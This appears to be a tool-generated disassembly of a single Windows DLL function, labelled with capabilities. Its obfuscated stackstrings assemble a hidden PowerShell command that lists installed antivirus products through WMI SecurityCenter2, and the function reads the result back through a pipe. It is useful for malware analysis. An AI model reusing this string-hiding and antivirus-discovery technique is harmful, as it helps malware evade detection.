Function at 0x1800283c0
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create process on windows
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x13d8
call fcn.180041f20
sub rsp, rax
mov rax, qword [0x1800842c0]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0x2c0]
call fcn.180021610
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
jge 0x180028448
lea rdx, str.N_NNN_n:___
mov rcx, qword [rsp + 0x13f0]
call fcn.1800160c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x2c0]
call fcn.180004630
mov rax, qword [rsp + 0x13f0]
jmp 0x180028ef0
mov byte [rsp + 0x240], 0x47
mov byte [rsp + 0x241], 0x65
mov byte [rsp + 0x242], 0x74
mov byte [rsp + 0x243], 0x2d
mov byte [rsp + 0x244], 0x57
mov byte [rsp + 0x245], 0x6d
mov byte [rsp + 0x246], 0x69
mov byte [rsp + 0x247], 0x4f
mov byte [rsp + 0x248], 0x62
mov byte [rsp + 0x249], 0x6a
mov byte [rsp + 0x24a], 0x65
mov byte [rsp + 0x24b], 0x63
mov byte [rsp + 0x24c], 0x74
mov byte [rsp + 0x24d], 0x20
mov byte [rsp + 0x24e], 0x2d
mov byte [rsp + 0x24f], 0x4e
mov byte [rsp + 0x250], 0x61
mov byte [rsp + 0x251], 0x6d
mov byte [rsp + 0x252], 0x65
mov byte [rsp + 0x253], 0x73
mov byte [rsp + 0x254], 0x70
mov byte [rsp + 0x255], 0x61
mov byte [rsp + 0x256], 0x63
mov byte [rsp + 0x257], 0x65
mov byte [rsp + 0x258], 0x20
mov byte [rsp + 0x259], 0x27
mov byte [rsp + 0x25a], 0x72
mov byte [rsp + 0x25b], 0x6f
mov byte [rsp + 0x25c], 0x6f
mov byte [rsp + 0x25d], 0x74
mov byte [rsp + 0x25e], 0x5c
mov byte [rsp + 0x25f], 0x53
mov byte [rsp + 0x260], 0x65
mov byte [rsp + 0x261], 0x63
mov byte [rsp + 0x262], 0x75
mov byte [rsp + 0x263], 0x72
mov byte [rsp + 0x264], 0x69
mov byte [rsp + 0x265], 0x74
mov byte [rsp + 0x266], 0x79
mov byte [rsp + 0x267], 0x43
mov byte [rsp + 0x268], 0x65
mov byte [rsp + 0x269], 0x6e
mov byte [rsp + 0x26a], 0x74
mov byte [rsp + 0x26b], 0x65
mov byte [rsp + 0x26c], 0x72
mov byte [rsp + 0x26d], 0x32
mov byte [rsp + 0x26e], 0x27
mov byte [rsp + 0x26f], 0x20
mov byte [rsp + 0x270], 0x2d
mov byte [rsp + 0x271], 0x43
mov byte [rsp + 0x272], 0x6c
mov byte [rsp + 0x273], 0x61
mov byte [rsp + 0x274], 0x73
mov byte [rsp + 0x275], 0x73
mov byte [rsp + 0x276], 0x20
mov byte [rsp + 0x277], 0x41
mov byte [rsp + 0x278], 0x6e
mov byte [rsp + 0x279], 0x74
mov byte [rsp + 0x27a], 0x69
mov byte [rsp + 0x27b], 0x56
mov byte [rsp + 0x27c], 0x69
mov byte [rsp + 0x27d], 0x72
mov byte [rsp + 0x27e], 0x75
mov byte [rsp + 0x27f], 0x73
mov byte [rsp + 0x280], 0x50
mov byte [rsp + 0x281], 0x72
mov byte [rsp + 0x282], 0x6f
mov byte [rsp + 0x283], 0x64
mov byte [rsp + 0x284], 0x75
mov byte [rsp + 0x285], 0x63
mov byte [rsp + 0x286], 0x74
mov byte [rsp + 0x287], 0x20
mov byte [rsp + 0x288], 0x7c
mov byte [rsp + 0x289], 0x20
mov byte [rsp + 0x28a], 0x53
mov byte [rsp + 0x28b], 0x65
mov byte [rsp + 0x28c], 0x6c
mov byte [rsp + 0x28d], 0x65
mov byte [rsp + 0x28e], 0x63
mov byte [rsp + 0x28f], 0x74
mov byte [rsp + 0x290], 0x2d
mov byte [rsp + 0x291], 0x4f
mov byte [rsp + 0x292], 0x62
mov byte [rsp + 0x293], 0x6a
mov byte [rsp + 0x294], 0x65
mov byte [rsp + 0x295], 0x63
mov byte [rsp + 0x296], 0x74
mov byte [rsp + 0x297], 0x20
mov byte [rsp + 0x298], 0x2d
mov byte [rsp + 0x299], 0x45
mov byte [rsp + 0x29a], 0x78
mov byte [rsp + 0x29b], 0x70
mov byte [rsp + 0x29c], 0x61
mov byte [rsp + 0x29d], 0x6e
mov byte [rsp + 0x29e], 0x64
mov byte [rsp + 0x29f], 0x50
mov byte [rsp + 0x2a0], 0x72
mov byte [rsp + 0x2a1], 0x6f
mov byte [rsp + 0x2a2], 0x70
mov byte [rsp + 0x2a3], 0x65
mov byte [rsp + 0x2a4], 0x72
mov byte [rsp + 0x2a5], 0x74
mov byte [rsp + 0x2a6], 0x79
mov byte [rsp + 0x2a7], 0x20
mov byte [rsp + reloc.SHELL32.dll_IsUserAnAdmin], 0x64
mov byte [rsp + 0x2a9], 0x69
mov byte [rsp + 0x2aa], 0x73
mov byte [rsp + 0x2ab], 0x70
mov byte [rsp + 0x2ac], 0x6c
mov byte [rsp + 0x2ad], 0x61
mov byte [rsp + 0x2ae], 0x79
mov byte [rsp + 0x2af], 0x4e
mov byte [rsp + 0x2b0], 0x61
mov byte [rsp + 0x2b1], 0x6d
mov byte [rsp + 0x2b2], 0x65
lea rax, [rsp + 0x2b3]
mov r8, rax
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x200]
call fcn.180004ea0
lea rcx, [rsp + 0x120]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x54]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x90]
call fcn.180004f90
nop
mov byte [rsp + 0x220], 0x70
mov byte [rsp + 0x221], 0x6f
mov byte [rsp + 0x222], 0x77
mov byte [rsp + 0x223], 0x65
mov byte [rsp + 0x224], 0x72
mov byte [rsp + 0x225], 0x73
mov byte [rsp + 0x226], 0x68
mov byte [rsp + 0x227], 0x65
mov byte [rsp + 0x228], 0x6c
mov byte [rsp + 0x229], 0x6c
mov byte [rsp + 0x22a], 0x2e
mov byte [rsp + 0x22b], 0x65
mov byte [rsp + 0x22c], 0x78
mov byte [rsp + 0x22d], 0x65
mov byte [rsp + 0x22e], 0x20
mov byte [rsp + 0x22f], 0x2d
mov byte [rsp + 0x230], 0x43
mov byte [rsp + 0x231], 0x6f
mov byte [rsp + 0x232], 0x6d
mov byte [rsp + 0x233], 0x6d
mov byte [rsp + 0x234], 0x61
mov byte [rsp + 0x235], 0x6e
mov byte [rsp + 0x236], 0x64
mov byte [rsp + 0x237], 0x20
mov byte [rsp + 0x238], 0x22
lea rax, [rsp + 0x239]
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x210]
call fcn.180004ea0
lea rcx, [rsp + 0x130]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x55]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x78]
call fcn.180004f90
nop
lea rcx, [rsp + 0x56]
call fcn.180002740
mov qword [rsp + 0xa8], rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x90]
call fcn.180004ef0
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x90]
call fcn.180004f40
mov rcx, qword [rsp + 0xa8]
mov r9, rcx
mov rcx, qword [rsp + 0xb0]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x300]
call fcn.180005170
nop
lea rcx, [rsp + 0x57]
call fcn.180002740
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x78]
call fcn.180004ef0
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x78]
call fcn.180004f40
mov rcx, qword [rsp + 0xb8]
mov r9, rcx
mov rcx, qword [rsp + 0xc0]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x3a0]
call fcn.180005170
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xd0], rax
lea r8, [rsp + 0x300]
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0x380]
call fcn.180025930
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xe0], rax
lea r8, [0x180077bc4]
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x2e0]
call fcn.180025990
nop
lea rcx, [rsp + 0x380]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x3a0]
call fcn.180006cb0
nop
mov dword [rsp + 0xf8], 0x18
mov dword [rsp + 0x108], 1
mov qword [rsp + 0x100], 0
xor r9d, r9d
lea r8, [rsp + 0xf8]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180028b5f
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, [0x180077bc8]
mov rcx, qword [rsp + 0x13f0]
call fcn.1800160c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x2e0]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x300]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x78]
call fcn.180003930
nop
lea rcx, [rsp + 0x90]
call fcn.180003930
nop
lea rcx, [rsp + 0x2c0]
call fcn.180004630
mov rax, qword [rsp + 0x13f0]
jmp 0x180028ef0
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x190]
call fcn.180062fb0
mov dword [rsp + 0x190], 0x68
mov dword [rsp + 0x1cc], 0x100
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1f0], rax
xor eax, eax
mov word [rsp + 0x1d0], ax
lea rcx, [rsp + 0x2e0]
call fcn.180006b20
lea rcx, [rsp + 0x158]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180028cad
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, [0x180077bcc]
mov rcx, qword [rsp + 0x13f0]
call fcn.1800160c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x2e0]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x300]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x78]
call fcn.180003930
nop
lea rcx, [rsp + 0x90]
call fcn.180003930
nop
lea rcx, [rsp + 0x2c0]
call fcn.180004630
mov rax, qword [rsp + 0x13f0]
jmp 0x180028ef0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x5c]
mov r8d, 0x1000
lea rdx, [rsp + 0x3c0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
je 0x180028d3e
cmp dword [rsp + 0x5c], 0
jne 0x180028cfb
jmp 0x180028d3e
mov eax, dword [rsp + 0x5c]
mov r8d, eax
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x340]
call fcn.1800154c0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x2c0]
call fcn.1800299d0
nop
lea rcx, [rsp + 0x340]
call fcn.180004630
nop
jmp 0x180028cc0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rsp + 0x320]
call fcn.1800099e0
nop
lea rcx, [rsp + 0x2c0]
call fcn.180014cf0
movzx eax, al
test eax, eax
je 0x180028e09
lea rdx, [0x180077bd0]
mov rcx, qword [rsp + 0x13f0]
call fcn.1800160c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x320]
call fcn.180010c60
nop
lea rcx, [rsp + 0x2e0]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x300]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x78]
call fcn.180003930
nop
lea rcx, [rsp + 0x90]
call fcn.180003930
nop
lea rcx, [rsp + 0x2c0]
call fcn.180004630
mov rax, qword [rsp + 0x13f0]
jmp 0x180028ef0
lea rdx, [0x180077bd4]
lea rcx, [rsp + 0x360]
call fcn.1800160c0
nop
lea r9, [rsp + 0x360]
lea r8, [rsp + 0x2c0]
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x320]
call fcn.18003d300
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x13f0]
call fcn.1800292d0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x170]
call fcn.18000f910
nop
lea rcx, [rsp + 0x360]
call fcn.180004630
nop
lea rcx, [rsp + 0x320]
call fcn.180010c60
nop
lea rcx, [rsp + 0x2e0]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x300]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x78]
call fcn.180003930
nop
lea rcx, [rsp + 0x90]
call fcn.180003930
nop
lea rcx, [rsp + 0x2c0]
call fcn.180004630
nop
mov rax, qword [rsp + 0x13f0]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1800412e0
add rsp, 0x13d8
pop rdi
pop rsi
ret